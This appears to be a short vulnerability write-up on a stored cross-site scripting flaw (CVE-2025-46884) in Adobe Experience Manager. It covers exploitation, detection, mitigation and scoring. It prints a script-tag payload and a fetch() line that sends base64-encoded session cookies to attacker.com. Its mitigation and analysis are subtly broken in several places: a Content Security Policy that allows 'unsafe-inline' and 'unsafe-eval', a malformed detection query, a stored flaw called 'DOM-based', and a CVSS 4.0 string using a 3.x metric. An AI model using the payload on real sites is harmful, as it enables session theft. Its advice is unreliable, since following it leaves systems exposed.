How CVE-2025-46884 Works
Adobe Experience Manager (AEM) versions 6.5.22 and earlier fail to properly sanitize user-supplied input in certain form fields, allowing authenticated high-privileged attackers to inject malicious JavaScript payloads. When stored in the backend, this payload executes in the context of any user who views the compromised page. The attack leverages improper input validation in AEM’s WCM (Web Content Management) components, where crafted HTML/script tags bypass filters. Successful exploitation enables session hijacking, phishing, or privilege escalation.
DailyCVE Form:
Platform: Adobe Experience Manager
Version: ≤ 6.5.22
Vulnerability: Stored XSS
Severity: Critical
Date: 2025-06-12
Prediction: Patch by 2025-07-15
What Undercode Say:
Exploitation:
1. Payload Injection:
<script>alert(document.cookie)</script>
Inserted via AEM Forms/Text components.
2. Exfiltrate Sessions:
fetch('https://attacker.com/steal?data='+btoa(document.cookie));
Detection:
- AEM Query:
SELECT FROM cq:PageContent WHERE CONTAINS(, '<script>');
Mitigation:
1. Input Sanitization:
Filter filter = new XSSFilter(); String sanitized = filter.filter(rawInput);
2. Content Security Policy (CSP):
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval';
3. Patch Workaround:
<filter-rules> <rule pattern=".<script." action="deny"/> </filter-rules>
4. Log Monitoring:
grep -r "script>" /var/log/aem/error.log
5. Upgrade:
aem-installer --update --version 6.5.23
Analytics:
- Attack Vector: DOM-based execution.
- Privilege Requirement: Contributor+ roles.
- Exploit Complexity: Low (pre-auth impossible).
- CVSS 4.0: `CVSS:4.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N`
